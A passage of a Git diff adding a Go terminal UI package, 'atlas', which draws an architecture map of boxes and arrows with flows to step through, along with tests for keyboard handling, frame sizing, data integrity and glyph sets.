way the help pane promises. +func TestEscapeBacksOutOneLayer(t *testing.T) { + m := newTestModel(t, 120, 35) + send(t, m, tea.KeyPressMsg{Code: '1', Text: "1"}) + send(t, m, tea.KeyPressMsg{Code: tea.KeyTab}) + send(t, m, tea.KeyPressMsg{Code: tea.KeyEnter}) + send(t, m, tea.KeyPressMsg{Code: '?', Text: "?"}) + send(t, m, tea.KeyPressMsg{Code: tea.KeyEscape}) + if m.help { + t.Fatal("esc did not close the help") + } + if m.detail == "" { + t.Fatal("esc closed the detail pane at the same time as the help") + } + send(t, m, tea.KeyPressMsg{Code: tea.KeyEscape}) + if m.detail != "" { + t.Fatal("esc did not close the detail pane") + } + if m.flow < 0 { + t.Fatal("esc closed the flow at the same time as the pane") + } + send(t, m, tea.KeyPressMsg{Code: tea.KeyEscape}) + if m.flow >= 0 { + t.Fatal("esc did not go back to the overview") + } +} + +// TestQQuits: q is the door out, and it answers a command that ends the +// program — the same door ctrl+c takes. +func TestQQuits(t *testing.T) { + m := newTestModel(t, 120, 35) + for _, key := range []tea.KeyPressMsg{ + {Code: 'q', Text: "q"}, + {Code: 'c', Mod: tea.ModCtrl}, + } { + cmd := send(t, m, key) + if cmd == nil { + t.Fatalf("%v answered no command; q and ctrl+c must both quit", key) + } + if msg := cmd(); msg != tea.Quit() { + t.Fatalf("%v answered %v; the program was not told to quit", key, msg) + } + } +} + +// ── the frame itself ───────────────────────────────────────────────────────── + +// TestTheFrameFitsEightyByTwentyFour: the smallest terminal the map promises +// to work at. Nothing panics, nothing draws wider than the screen, and every +// box still lands inside it. +func TestTheFrameFitsEightyByTwentyFour(t *testing.T) { + for _, size := range [][2]int{{80, 24}, {120, 35}, {200, 50}} { + m := newTestModel(t, size[0], size[1]) + styled := m.drawFrame() + rows := strings.Split(styled, "\n") + if len(rows) > size[1] { + t.Errorf("at %dx%d the frame is %d rows tall", size[0], size[1], len(rows)) + } + for i, row := range rows { + if w := lipgloss.Width(row); w > size[0] { + t.Errorf("at %dx%d row %d is %d cells wide", size[0], size[1], i, w) + } + } + plainText := stripANSI(styled) + for _, n := range Pairing.Nodes { + if !strings.Contains(plainText, n.Label) { + t.Errorf("at %dx%d the box %q is not drawn at all", size[0], size[1], n.Label) + } + r := m.rects[n.ID] + if r.X < 0 || r.X+r.W > size[0] || r.Y < 0 || r.Y+r.H > size[1] { + t.Errorf("at %dx%d the box %q sits at %+v, outside the screen", size[0], size[1], n.ID, r) + } + } + } +} + +// TestTheOverviewDrawsItsTitle: the first thing on screen names itself. +func TestTheOverviewDrawsItsTitle(t *testing.T) { + m := newTestModel(t, 120, 35) + text, _ := frameAt(t, m) + if !strings.Contains(text, Pairing.Title) { + t.Fatalf("the overview does not draw its title %q:\n%s", Pairing.Title, text) + } + if !strings.Contains(text, "◀") && !strings.Contains(text, "▶") { + t.Fatal("the overview draws no arrowheads") + } +} diff --git a/internal/atlas/data.go b/internal/atlas/data.go new file mode 100644 index 0000000000..8c812a6d65 --- /dev/null +++ b/internal/atlas/data.go @@ -0,0 +1,80 @@ +// Package atlas is the architecture map of codeaf's two-computer work: +// pairing, devices, cells, sync and the furrow engine, drawn as boxes and +// arrows in the terminal. `codeaf atlas` opens it. +// +// THE DATA IS ONE PACKAGE. Every box, arrow, flow and file reference on the +// map lives in [Pairing] and the other files beside it, and nowhere else — +// the view never hard-codes content, +// The Go map here is the only version of the diagram; the retired TypeScript +// twin was removed and everything reads from this package. When the code +// moves, this file moves in the same change; data_test.go fails the build +// when a files[].Path no longer exists. +package atlas + +// Kind is what a box is; it drives its colour and its legend entry. +type Kind string + +const ( + KindMachine Kind = "machine" + KindGo Kind = "go" + KindService Kind = "service" + KindEngine Kind = "engine" + KindSpec Kind = "spec" +) + +// FileRef is a real file in the repository, relative to the repo root. +type FileRef struct { + Path string + Symbols []string // key functions and types worth knowing + Note string +} + +// Node is one box on the map. +type Node struct { + ID string + Label string // box title, kept under ~18 columns + Short string // one-line subtitle drawn inside the box when there is room + Kind Kind + X, Y float64 // centre of the box as fractions (0..1) of the map area + Summary string // plain-words description of what it does + Details []string + Files []FileRef +} + +// Edge is one arrow: who calls or talks to whom, and over what. +type Edge struct { + ID string + From string + To string + Label string // a few words + Detail string // what crosses, and whether it is encrypted +} + +// Step is one move of a flow. +type Step struct { + From string + To string + Message string // what is sent, in plain words + Edge string // id of the overview edge this step travels along + Note string // why, or where in the code +} + +// Flow is a step-through story over the map. +type Flow struct { + ID string + Title string + Summary string + Steps []Step +} + +// Map is one whole diagram: the single source the view renders from. Every +// registered map is grounded in the code: each Files[].Path must exist +// relative to the repository root; data_test.go checks that for every map. +type Map struct { + Name string // the name a person types: `codeaf atlas ` + Title string + Description string // one line, shown in the picker + Nodes []Node + Edges []Edge + Flows []Flow +} diff --git a/internal/atlas/data_test.go b/internal/atlas/data_test.go new file mode 100644 index 0000000000..76434d8632 --- /dev/null +++ b/internal/atlas/data_test.go @@ -0,0 +1,173 @@ +package atlas + +import ( + "os" + "path/filepath" + "testing" +) + +// The repo root, two directories up from this package: every Files[].Path in +// the data is relative to it. +const repoRoot = "../.." + +// TestEveryFilePathExists holds every registered map to the tree: a file a +// map points at must exist, or the map is lying about where a part lives. +func TestEveryFilePathExists(t *testing.T) { + for _, mp := range Maps { + for _, n := range mp.Nodes { + for _, f := range n.Files { + if _, err := os.Stat(filepath.Join(repoRoot, f.Path)); err != nil { + t.Errorf("%s: node %s names the file %s, which does not exist", mp.Name, n.ID, f.Path) + } + for _, s := range f.Symbols { + raw, readErr := os.ReadFile(filepath.Join(repoRoot, f.Path)) + if readErr != nil { + t.Errorf("%s: node %s names the file %s: %v", mp.Name, n.ID, f.Path, readErr) + continue + } + if !containsName(string(raw), s) { + t.Errorf("%s: node %s says %s names %s, which the file never spells", mp.Name, n.ID, f.Path, s) + } + } + } + } + } +} + +// containsName answers whether text spells name as its own word. The names in +// the data are code identifiers (Approver.Look, FurrowRepository.seal); the +// part after the dot is what has to appear. +func containsName(text, name string) bool { + want := name + for i := 0; i < len(name); i++ { + if name[i] == '.' { + want = name[i+1:] + } + } + return containsWord(text, want) +} + +func containsWord(text, word string) bool { + for i := 0; i+len(word) <= len(text); i++ { + if text[i:i+len(word)] != word { + continue + } + before := byte(' ') + if i > 0 { + before = text[i-1] + } + after := byte(' ') + if i+len(word) < len(text) { + after = text[i+len(word)] + } + if !isNameByte(before) && !isNameByte(after) { + return true + } + } + return false +} + +func isNameByte(b byte) bool { + return b == '_' || b >= 'a' && b <= 'z' || b >= 'A' && b <= 'Z' || b >= '0' && b <= '9' +} + +// TestEdgesAndStepsNameRealNodes holds every arrow and every step of every +// map to the boxes: an edge between boxes that do not exist draws nowhere, +// and a flow step on a made-up edge would tell a story about nothing. +func TestEdgesAndStepsNameRealNodes(t *testing.T) { + for _, mp := range Maps { + ids := map[string]bool{} + for _, n := range mp.Nodes { + if ids[n.ID] { + t.Errorf("%s: two nodes are named %s", mp.Name, n.ID) + } + ids[n.ID] = true + } + edgeIDs := map[string]bool{} + for _, e := range mp.Edges { + if edgeIDs[e.ID] { + t.Errorf("%s: two edges are named %s", mp.Name, e.ID) + } + edgeIDs[e.ID] = true + if !ids[e.From] || !ids[e.To] { + t.Errorf("%s: edge %s joins %s and %s; both have to be nodes", mp.Name, e.ID, e.From, e.To) + } + } + for _, f := range mp.Flows { + if len(f.Steps) == 0 { + t.Errorf("%s: flow %s has no steps", mp.Name, f.ID) + } + for i, s := range f.Steps { + if !ids[s.From] || !ids[s.To] { + t.Errorf("%s: flow %s step %d runs from %s to %s; both have to be nodes", mp.Name, f.ID, i+1, s.From, s.To) + } + if s.Edge != "" && !edgeIDs[s.Edge] { + t.Errorf("%s: flow %s step %d travels edge %s, which no overview edge answers to", mp.Name, f.ID, i+1, s.Edge) + } + } + } + } +} + +// TestMapNamesAreUnique keeps the registry honest: a person types a map's +// name at `codeaf atlas`, so two maps answering to one name would leave the +// second one unreachable. +func TestMapNamesAreUnique(t *testing.T) { + seen := map[string]bool{} + for _, mp := range Maps { + if mp.Name == "" { + t.Error("a registered map has no name") + } + if seen[mp.Name] { + t.Errorf("two maps are named %s", mp.Name) + } + seen[mp.Name] = true + } +} + +// TestRegistryIsEmptyWithoutMaps keeps the entry points safe: the picker and +// the CLI both read Maps, and an empty registry would render nothing at all. +func TestRegistryIsEmptyWithoutMaps(t *testing.T) { + if len(Maps) == 0 { + t.Fatal("no map is registered") + } + for _, mp := range Maps { + if mp.Title == "" || mp.Description == "" { + t.Errorf("map %s has no title or no one-line description for the picker", mp.Name) + } + } +} + +// TestTheMapCoversItsThreeStories pins what the atlas is for: pairing, +// continuing a chat, and the furrow engine, each a flow a person can step +// through, and every kind of box drawn in its own colour. +func TestTheMapCoversItsThreeStories(t *testing.T) { + pairing, ok := ByName("pairing") + if !ok { + t.Fatal("no map is named pairing") + } + flows := map[string]bool{} + for _, f := range pairing.Flows { + flows[f.ID] = true + } + for _, id := range []string{"pairing", "continue", "furrow"} { + if !flows[id] { + t.Errorf("the pairing map has no flow named %s", id) + } + } + kinds := map[Kind]bool{} + for _, n := range pairing.Nodes { + if n.Summary == "" { + t.Errorf("node %s says nothing about itself", n.ID) + } + if len(n.Files) == 0 { + t.Errorf("node %s points at no file", n.ID) + } + kinds[n.Kind] = true + } + for _, k := range []Kind{KindMachine, KindGo, KindService, KindEngine} { + if !kinds[k] { + t.Errorf("no node has the kind %s", k) + } + } +} diff --git a/internal/atlas/frame.go b/internal/atlas/frame.go new file mode 100644 index 0000000000..c48f8ccdee --- /dev/null +++ b/internal/atlas/frame.go @@ -0,0 +1,591 @@ +package atlas + +import ( + "strings" + "unicode/utf8" + + "github.com/Agent-Field/codeaf/internal/tui2/tokens" + "github.com/charmbracelet/lipgloss" +) + +// The palette, one colour per node kind and one hot accent, kept to the same +// colours the map has always read on screen. Colours ride on lipgloss, which codeaf already +// carries: it strips them itself on a terminal with no colour, so nothing here +// has to detect the profile. +const ( + colFg = "#c0caf5" + colDim = "#565f89" + colMuted = "#737aa2" + colEdge = "#3b4261" + colEdgeHi = "#7aa2f7" + colAccent = "#ff9e64" +) + +// kindColor is the one colour per node kind that the box borders and the +// legend draw. +var kindColor = map[Kind]string{ + KindMachine: "#7aa2f7", + KindGo: "#9ece6a", + KindService: "#e0af68", + KindEngine: "#bb9af7", + KindSpec: "#7dcfff", +} + +// kindName is the plain words a kind reads as, in the legend and detail panes. +var kindName = map[Kind]string{ + KindMachine: "machine", + KindGo: "codeaf (Go)", + KindService: "relay / hosted", + KindEngine: "furrow (Rust)", + KindSpec: "spec / doc", +} + +// playMillis is how long one step of a playing flow stays on screen. +const playMillis = 1400 + +// sidePaneW is the width of the detail pane when the terminal is wide enough +// to open it beside the map instead of over it. +const sidePaneW = 46 + +// paint colours a run of text. +func paint(s, hex string, bold bool) string { + if s == "" { + return "" + } + st := lipgloss.NewStyle().Foreground(lipgloss.Color(hex)) + if bold { + st = st.Bold(true) + } + return st.Render(s) +} + +// cell is one character of the frame and the colour it draws in. +type cell struct { + ch rune + fg string + bold bool +} + +// canvas is the whole frame: a grid every layer paints into, in the order the +// layers stack — edges first, then boxes, then the panels on top. +type canvas struct { + w, h int + cells []cell +} + +func newCanvas(w, h int) *canvas { + if w < 1 { + w = 1 + } + if h < 1 { + h = 1 + } + c := &canvas{w: w, h: h, cells: make([]cell, w*h)} + // Every cell starts as a blank: a cell never drawn is a space on screen, + // not a NUL. + for i := range c.cells { + c.cells[i].ch = ' ' + } + return c +} + +func (c *canvas) put(x, y int, ch rune, fg string, bold bool) { + if x < 0 || y < 0 || x >= c.w || y >= c.h { + return + } + c.cells[y*c.w+x] = cell{ch: ch, fg: fg, bold: bold} +} + +// cw is how many cells s takes: one per rune, since every glyph the map draws +// is a single cell wide. len would count bytes and push text after a '—' or +// '•' right, over whatever border follows it. +func cw(s string) int { return utf8.RuneCountInString(s) } + +// text writes s from (x, y), one cell per rune, clipping at the right edge. +func (c *canvas) text(x, y int, s, fg string, bold bool) { + i := 0 + for _, r := range s { + if x+i >= c.w { + return + } + c.put(x+i, y, r, fg, bold) + i++ + } +} + +// fill blanks every cell of r, so a panel drawn over the map hides it. +func (c *canvas) fill(r Rect) { + for y := r.Y; y < r.Y+r.H; y++ { + c.hline(y, r.X, r.X+r.W-1, ' ', "", false) + } +} + +// hline fills a row with one character between x0 and x1. +func (c *canvas) hline(y, x0, x1 int, ch rune, fg string, bold bool) { + for x := x0; x <= x1; x++ { + c.put(x, y, ch, fg, bold) + } +} + +// row renders one row as a styled string: runs of same-styled cells become one +// escape sequence each, and an unstyled run is left plain. +func (c *canvas) row(y int) string { + if y < 0 || y >= c.h { + return "" + } + base := y * c.w + var b strings.Builder + runStart := 0 + cur := c.cells[base] + open := false + emit := func(upto int) { + if !open { + return + } + runes := make([]rune, 0, upto-runStart) + for i := runStart; i < upto; i++ { + runes = append(runes, c.cells[base+i].ch) + } + b.WriteString(paint(string(runes), cur.fg, cur.bold)) + open = false + } + for x := 0; x < c.w; x++ { + ce := c.cells[base+x] + if !open || ce != cur { + emit(x) + cur, runStart, open = ce, x, true + } + } + emit(c.w) + return b.String() +} + +// frame turns the canvas into the lines the terminal draws, already styled. +func (c *canvas) frame() string { + lines := make([]string, c.h) + for y := range lines { + lines[y] = c.row(y) + } + return strings.Join(lines, "\n") +} + +// frameWidths answers the display width of every row, which is the number of +// cells the row was drawn into: styling must never change it. +func (c *canvas) frameWidths() []int { + w := make([]int, c.h) + for y := range w { + w[y] = lipgloss.Width(c.row(y)) + } + return w +} + +// Rect is a box on screen, in cells. +type Rect struct{ X, Y, W, H int } + +// Contains answers whether a cell sits inside the rectangle. +func (r Rect) Contains(x, y int) bool { + return x >= r.X && x < r.X+r.W && y >= r.Y && y < r.Y+r.H +} + +func (r Rect) centerX() int { return r.X + r.W/2 } +func (r Rect) centerY() int { return r.Y + r.H/2 } + +// geom is the one layout of a frame: where the map starts and ends, whether +// the terminal is too small for the roomy drawing, and how tall the flow +// panel is when one is open. +type geom struct { + W, H int + compact bool + flowH int + mapTop int + mapW int + mapH int + side bool // the detail pane opens beside the map, not over it +} + +func (m *Model) geometry() geom { + W, H := m.W, m.H + compact := W < 100 || H < 30 + flowH := 0 + if m.flow >= 0 { + flowH = 5 + if compact { + flowH = 4 + } + } + side := m.detail != "" && W >= 100 + mapW := W + if side { + mapW = W - sidePaneW + } + if mapW < 10 { + mapW = 10 + } + mapH := H - 2 - flowH + if mapH < 4 { + mapH = 4 + } + return geom{W: W, H: H, compact: compact, flowH: flowH, mapTop: 1, mapW: mapW, mapH: mapH, side: side} +} + +// nodeSize is how wide and tall a box draws: the label and, when there is +// room, the short subtitle, each inside a one-cell border. +func nodeSize(n Node, compact bool) (int, int) { + if compact { + w := cw(n.Label) + 4 + if w > 18 { + w = 18 + } + return w, 3 + } + w := cw(n.Label) + if len(n.Short) > w { + w = len(n.Short) + } + w += 4 + if w < 14 { + w = 14 + } + return w, 4 +} + +// layout computes every node's on-screen rectangle from its fractional centre, +// clamped into the map so a drag can never push a box off screen. +func (m *Model) layout(g geom) { + if m.rects == nil { + m.rects = map[string]Rect{} + } + for _, n := range m.data.Nodes { + w, h := nodeSize(n, g.compact) + p := m.pos[n.ID] + x := clamp(int(0.5+p[0]*float64(g.mapW))-w/2, 0, max(0, g.mapW-w)) + y := clamp(g.mapTop+int(0.5+p[1]*float64(g.mapH))-h/2, g.mapTop, max(g.mapTop, g.mapTop+g.mapH-h)) + m.rects[n.ID] = Rect{X: x, Y: y, W: w, H: h} + } +} + +func clamp(v, lo, hi int) int { + if hi < lo { + hi = lo + } + if v < lo { + return lo + } + if v > hi { + return hi + } + return v +} + +func max(a, b int) int { + if a > b { + return a + } + return b +} + +func abs(v int) int { + if v < 0 { + return -v + } + return v +} + +// ── edge routing ───────────────────────────────────────────────────────────── +// An arrow leaves the side of one box that faces the other, runs as an +// orthogonal Z, and lands with an arrowhead just outside the target box. +// Edges sharing a side spread their ports so two arrows never overlap. + +type dir byte + +const ( + dirR dir = 'r' + dirL dir = 'l' + dirU dir = 'u' + dirD dir = 'd' +) + +type pt struct{ X, Y int } + +func isHorizontal(a, b Rect) bool { + dx := b.centerX() - a.centerX() + dy := b.centerY() - a.centerY() + return abs(dx) > abs(dy)*5/2 && (b.X >= a.X+a.W+2 || a.X >= b.X+b.W+2) +} + +// sideOf is which side of a a route towards b leaves from. +func sideOf(a, b Rect) dir { + if isHorizontal(a, b) { + if b.centerX() > a.centerX() { + return dirR + } + return dirL + } + if b.centerY() >= a.centerY() { + return dirD + } + return dirU +} + +// route is the orthogonal path from the edge of a to just outside b; the +// offsets spread ports along a side. +func route(a, b Rect, offA, offB int) []pt { + dx := b.centerX() - a.centerX() + dy := b.centerY() - a.centerY() + if isHorizontal(a, b) { + sx, ex := a.X+a.W, b.X-1 + if dx <= 0 { + sx, ex = a.X-1, b.X+b.W + } + sy := clamp(a.centerY()+offA, a.Y+1, a.Y+a.H-2) + ey := clamp(b.centerY()+offB, b.Y+1, b.Y+b.H-2) + mx := (sx + ex + 1) / 2 + return []pt{{sx, sy}, {mx, sy}, {mx, ey}, {ex, ey}} + } + sy, ey := a.Y+a.H, b.Y-1 + if dy < 0 { + sy, ey = a.Y-1, b.Y+b.H + } + sx := clamp(a.centerX()+offA, a.X+1, a.X+a.W-2) + ex := clamp(b.centerX()+offB, b.X+1, b.X+b.W-2) + my := (sy + ey + 1) / 2 + return []pt{{sx, sy}, {sx, my}, {ex, my}, {ex, ey}} +} + +// rasterize turns the corner points into one cell per step of the path. +func rasterize(pts []pt) []pt { + if len(pts) == 0 { + return nil + } + cells := []pt{pts[0]} + for _, to := range pts[1:] { + cur := cells[len(cells)-1] + for cur.X != to.X || cur.Y != to.Y { + next := pt{cur.X + sign(to.X-cur.X), cur.Y} + if next.X == cur.X { + next.Y = cur.Y + sign(to.Y-cur.Y) + } + cur = next + cells = append(cells, cur) + } + } + return cells +} + +func sign(v int) int { + switch { + case v > 0: + return 1 + case v < 0: + return -1 + } + return 0 +} + +// portOffsets spreads the ports of the edges that share one side of one box, +// ordered by where on that side each edge's far end sits. +func portOffsets(data *Map, rects map[string]Rect) [][2]int { + type item struct { + i int + to bool // the offset lands on the edge's target side + key int + } + groups := map[string][]item{} + along := func(r Rect, side dir) int { + if side == dirL || side == dirR { + return r.centerY() + } + return r.centerX() + } + for i, e := range data.Edges { + a, okA := rects[e.From] + b, okB := rects[e.To] + if !okA || !okB { + continue + } + sa := sideOf(a, b) + sb := dirD + if isHorizontal(a, b) { + if sa == dirR { + sb = dirL + } else { + sb = dirR + } + } else if sa == dirD { + sb = dirU + } + fromKey := e.From + ":" + string(rune(sa)) + toKey := e.To + ":" + string(rune(sb)) + groups[fromKey] = append(groups[fromKey], item{i, false, along(b, sa)}) + groups[toKey] = append(groups[toKey], item{i, true, along(a, sb)}) + } + out := make([][2]int, len(data.Edges)) + for key, items := range groups { + vertSide := strings.HasSuffix(key, string(rune(dirL))) || strings.HasSuffix(key, string(rune(dirR))) + spacing := 3 + if vertSide { + spacing = 1 + } + // A stable order by key, then spread them round the middle of the side. + for i := 1; i < len(items); i++ { + for j := i; j > 0 && items[j].key < items[j-1].key; j-- { + items[j], items[j-1] = items[j-1], items[j] + } + } + for j, it := range items { + off := (j - (len(items)-1)/2) * spacing + if it.to { + out[it.i][1] = off + } else { + out[it.i][0] = off + } + } + } + return out +} + +// The line characters an edge draws with: one glyph per direction of travel, +// the four arrowheads, and the eight corners a Z-route can turn through. +var lineSlots = map[dir]tokens.GlyphID{dirR: tokens.GFrameEdge, dirL: tokens.GFrameEdge, dirU: tokens.GFrameSide, dirD: tokens.GFrameSide} +var headSlots = map[dir]tokens.GlyphID{dirR: tokens.GQueuePill, dirL: tokens.GMapLeft, dirU: tokens.GMapUp, dirD: tokens.GMapDown} + +// The same rounded corners join a connection and close the frame it meets. +var cornerSlots = map[string]tokens.GlyphID{ + "rd": tokens.GFrameTopRight, "ru": tokens.GFrameBottomRight, "ld": tokens.GFrameTopLeft, "lu": tokens.GFrameBottomLeft, + "dr": tokens.GFrameBottomLeft, "dl": tokens.GFrameBottomRight, "ur": tokens.GFrameTopLeft, "ul": tokens.GFrameTopRight, +} + +// edgeCells is the path of one arrow, drawn or not — the tests read it to +// assert that a drag re-routes the arrows with the box. +func edgeCells(a, b Rect, offA, offB int) []pt { + return rasterize(route(a, b, offA, offB)) +} + +// edgeLabel is an arrow's caption waiting to be placed: labels go down after +// the boxes, so a box can never cut through one. +type edgeLabel struct { + cells []pt + text string + color string +} + +// drawEdge paints one arrow and answers its label, when showLabel, for +// placeLabels to put down once the boxes are drawn. +func (m *Model) drawEdge(c *canvas, a, b Rect, offA, offB int, label, color string, showLabel bool) *edgeLabel { + cells := edgeCells(a, b, offA, offB) + for i, cell := range cells { + var ch rune + din, dout := dir(0), dir(0) + if i > 0 { + din = dirOf(cells[i-1], cell) + } + if i < len(cells)-1 { + dout = dirOf(cell, cells[i+1]) + } + switch { + case dout == 0: + ch = m.mark(headSlots[din]) + case din == 0 || din == dout: + ch = m.mark(lineSlots[dout]) + default: + slot, ok := cornerSlots[string(rune(din))+string(rune(dout))] + if !ok { + slot = tokens.GFrameTeeDown + } + ch = m.mark(slot) + } + c.put(cell.X, cell.Y, ch, color, false) + } + if !showLabel || label == "" || len(cells) <= 2 { + return nil + } + maxLen := min(30, c.w-2) + if maxLen < 4 { + maxLen = 4 + } + text := " " + label + " " + if cw(text) > maxLen { + text = string([]rune(text)[:maxLen-1]) + m.icon(tokens.GEllipsis) + } + return &edgeLabel{cells: cells, text: text, color: color} +} + +// placeLabels puts each label on its own arrow, as near the middle as it can +// sit without covering a box or an earlier label; a label with no free spot +// is left off, since the detail pane and the flow panel still say it. +func placeLabels(c *canvas, labels []*edgeLabel, boxes []Rect) { + taken := append([]Rect(nil), boxes...) + free := func(r Rect) bool { + if r.X < 0 || r.X+r.W > c.w || r.Y < 1 || r.Y >= c.h { + return false + } + for _, t := range taken { + if r.X < t.X+t.W && t.X < r.X+r.W && r.Y < t.Y+t.H && t.Y < r.Y+r.H { + return false + } + } + return true + } + for _, l := range labels { + if l == nil { + continue + } + w := cw(l.text) + mid := len(l.cells) / 2 + // Walk out from the middle: mid, mid+1, mid-1, mid+2, ... + for k := 0; k < len(l.cells); k++ { + i := mid + (k+1)/2 + if k%2 == 0 { + i = mid - k/2 + } + if i < 1 || i >= len(l.cells)-1 { + continue + } + p := l.cells[i] + r := Rect{X: clamp(p.X-w/2, 0, max(0, c.w-w)), Y: p.Y, W: w, H: 1} + if free(r) { + c.text(r.X, r.Y, l.text, l.color, false) + taken = append(taken, r) + break + } + } + } +} + +func dirOf(a, b pt) dir { + switch { + case b.X > a.X: + return dirR + case b.X < a.X: + return dirL + case b.Y > a.Y: + return dirD + default: + return dirU + } +} + +// wrapText folds s into lines of at most width cells, breaking on spaces and +// never mid-word when a single word fits. +func wrapText(s string, width int) []string { + width = max(width, 1) + var out []string + for _, para := range strings.Split(s, "\n") { + words := strings.Fields(para) + if len(words) == 0 { + out = append(out, "") + continue + } + line := words[0] + for _, w := range words[1:] { + if cw(line)+1+cw(w) <= width { + line += " " + w + continue + } + out = append(out, line) + line = w + } + out = append(out, line) + } + return out +} diff --git a/internal/atlas/icons.go b/internal/atlas/icons.go new file mode 100644 index 0000000000..081f1a90f5 --- /dev/null +++ b/internal/atlas/icons.go @@ -0,0 +1,33 @@ +package atlas + +import ( + "os" + "unicode/utf8" + + "github.com/Agent-Field/codeaf/internal/config" + "github.com/Agent-Field/codeaf/internal/tui2/tokens" +) + +// SetGlyphSet lets an enclosing chat supply its already chosen repertoire. +func (m *Model) SetGlyphSet(set tokens.GlyphSet) { m.icons = set } + +// icon is the map's single door to the shared vocabulary. +func (m *Model) icon(id tokens.GlyphID) string { return m.icons.Glyph(id) } + +// mark resolves the same slot for the canvas, whose cells hold one rune. +func (m *Model) mark(id tokens.GlyphID) rune { + r, _ := utf8.DecodeRuneInString(m.icon(id)) + return r +} + +// terminalGlyphs folds the Display choice over the shared terminal detection. +func terminalGlyphs() tokens.GlyphSet { + switch config.IconsAt(config.ProfileDir()) { + case config.IconsRich: + return tokens.NerdFont + case config.IconsPlain: + return tokens.Plain + } + set, _ := tokens.DetectGlyphSet(os.Getenv) + return set +} diff --git a/internal/atlas/icons_test.go b/internal/atlas/icons_test.go new file mode 100644 index 0000000000..12fcfd2bd1 --- /dev/null +++ b/internal/atlas/icons_test.go @@ -0,0 +1,24 @@ +package atlas + +import ( + "strings" + "testing" + + "github.com/Agent-Field/codeaf/internal/tui2/tokens" +) + +// TestAtlasUsesTheChosenRepertoire proves C16: map chrome and arrowheads +// follow the same terminal tier, including the screen reader's ASCII marks. +func TestAtlasUsesTheChosenRepertoire(t *testing.T) { + for _, set := range []tokens.GlyphSet{tokens.Plain, tokens.NerdFont, tokens.ASCII} { + m := newTestModel(t, 120, 35) + m.SetGlyphSet(set) + m.flow = 0 + frame := m.Frame() + for _, slot := range []tokens.GlyphID{tokens.GActionPlan, tokens.GMapLeft, tokens.GQueuePill} { + if !strings.Contains(frame, set.Glyph(slot)) { + t.Errorf("%s omits slot %d", set, slot) + } + } + } +} diff --git a/internal/atlas/model.go b/internal/atlas/model.go new file mode 100644 index 0000000000..a68ac50625 --- /dev/null +++ b/internal/atlas/model.go @@ -0,0 +1,403 @@ +package atlas + +import ( + "time" + + tea "charm.land/bubbletea/v2" + "github.com/Agent-Field/codeaf/internal/tui2/tokens" +) + +// Model is the whole atlas state. It is a pointer used as a tea.Model, so +// Update hands the same model back and the tests can drive one directly +// without a program. +type Model struct { + icons tokens.GlyphSet + data *Map + W, H int + + // pos is each box's centre as fractions of the map area; a drag edits it. + pos map[string][2]float64 + + selected string // keyboard selection (tab cycles it) + detail string // node whose detail pane is open + flow int // index into Flows, or -1 for the plain overview + step int + playing bool + help bool + + drag *drag + rects map[string]Rect + hits []hit +} + +// drag is a box being moved by the mouse: where it was grabbed and whether the +// mouse has actually moved — a release without movement is a click, which +// opens the detail pane instead of leaving the box where it was. +type drag struct { + id string + offX, offY int + moved bool +} + +// hit is a clickable rectangle recorded while the frame is drawn; a mouse +// click is matched against these in draw order, last drawn wins. +type hit struct { + rect Rect + kind hitKind + arg int +} + +type hitKind byte + +const ( + hitTab hitKind = iota + hitPrev + hitNext +) + +// tickMsg is one beat of a playing flow. +type tickMsg struct{} + +// New returns the model in its opening state: the plain overview, nothing +// selected, at whatever size the terminal is (80×24 until the first +// WindowSizeMsg says otherwise). +func New(mp *Map, width, height int) *Model { + pos := make(map[string][2]float64, len(mp.Nodes)) + for _, n := range mp.Nodes { + pos[n.ID] = [2]float64{n.X, n.Y} + } + if width < 1 { + width = 80 + } + if height < 1 { + height = 24 + } + return &Model{ + data: mp, + W: width, + H: height, + pos: pos, + flow: -1, + } +} + +// Init implements tea.Model. +func (m *Model) Init() tea.Cmd { return nil } + +// View implements tea.Model. Cell-motion mouse is what dragging needs: press, +// move-while-pressed and release, and no motion events when a button is up. +// The alternate screen is what puts the terminal back the way it was found. +func (m *Model) View() tea.View { + return tea.View{ + Content: m.drawFrame(), + AltScreen: true, + + MouseMode: tea.MouseModeCellMotion, + } +} + +// Update implements tea.Model. +func (m *Model) Update(msg tea.Msg) (tea.Model, tea.Cmd) { + switch msg := msg.(type) { + case tea.WindowSizeMsg: + m.W, m.H = msg.Width, msg.Height + return m, nil + case tea.KeyPressMsg: + return m, m.updateKey(msg) + case tea.MouseClickMsg: + m.updateMouseClick(msg) + return m, nil + case tea.MouseMotionMsg: + m.updateMouseMotion(msg) + return m, nil + case tea.MouseReleaseMsg: + m.updateMouseRelease(msg) + return m, nil + case tickMsg, Beat: + if m.playing && m.flow >= 0 { + m.stepBy(1) + return m, m.tick() + } + m.playing = false + return m, nil + } + return m, nil +} + +// updateKey answers the keys the map answers, in the order the help pane +// lists them: quit first, then help, then the panes, then the flow keys. +// Keys are matched by their keystroke spelling, the way the other surfaces +// match them, so shift+tab and ctrl+c need no constants of their own. +func (m *Model) updateKey(k tea.KeyPressMsg) tea.Cmd { + switch k.String() { + case "ctrl+c", "q": + return tea.Quit + case "?": + m.toggleHelp() + return nil + case "esc": + switch { + case m.help: + m.help = false + case m.detail != "": + m.openDetail("") + case m.flow >= 0: + m.setFlow(-1) + default: + m.selected = "" + } + return nil + case "tab": + if !m.help { + m.cycleSelection(1) + } + return nil + case "shift+tab": + if !m.help { + m.cycleSelection(-1) + } + return nil + case "enter": + if !m.help && m.selected != "" { + if m.detail == m.selected { + m.openDetail("") + } else { + m.openDetail(m.selected) + } + } + return nil + case "left", "h": + m.stopPlay() + m.stepBy(-1) + return nil + case "right", "l": + m.stopPlay() + m.stepBy(1) + return nil + case "space", "p": + m.togglePlay() + return nil + case "f": + if m.flow < 0 { + m.setFlow(0) + } else { + m.setFlow((m.flow + 1) % len(m.data.Flows)) + } + return nil + case "0", "o": + m.setFlow(-1) + return nil + } + if t := k.Text; len(t) == 1 && t[0] >= '1' && t[0] <= '9' { + i := int(t[0] - '1') + if i < len(m.data.Flows) { + if m.flow == i { + m.setFlow(-1) + } else { + m.setFlow(i) + } + } + } + return nil +} + +func (m *Model) updateMouseClick(msg tea.MouseClickMsg) { + if msg.Button != tea.MouseLeft { + return + } + // Draw order is hit-test priority: the panels on top win over the map. + for i := len(m.hits) - 1; i >= 0; i-- { + h := m.hits[i] + if !h.rect.Contains(msg.X, msg.Y) { + continue + } + switch h.kind { + case hitTab: + if m.flow == h.arg { + m.setFlow(-1) + } else { + m.setFlow(h.arg) + } + case hitPrev: + m.stopPlay() + m.stepBy(-1) + case hitNext: + m.stopPlay() + m.stepBy(1) + } + return + } + for _, n := range m.data.Nodes { + r := 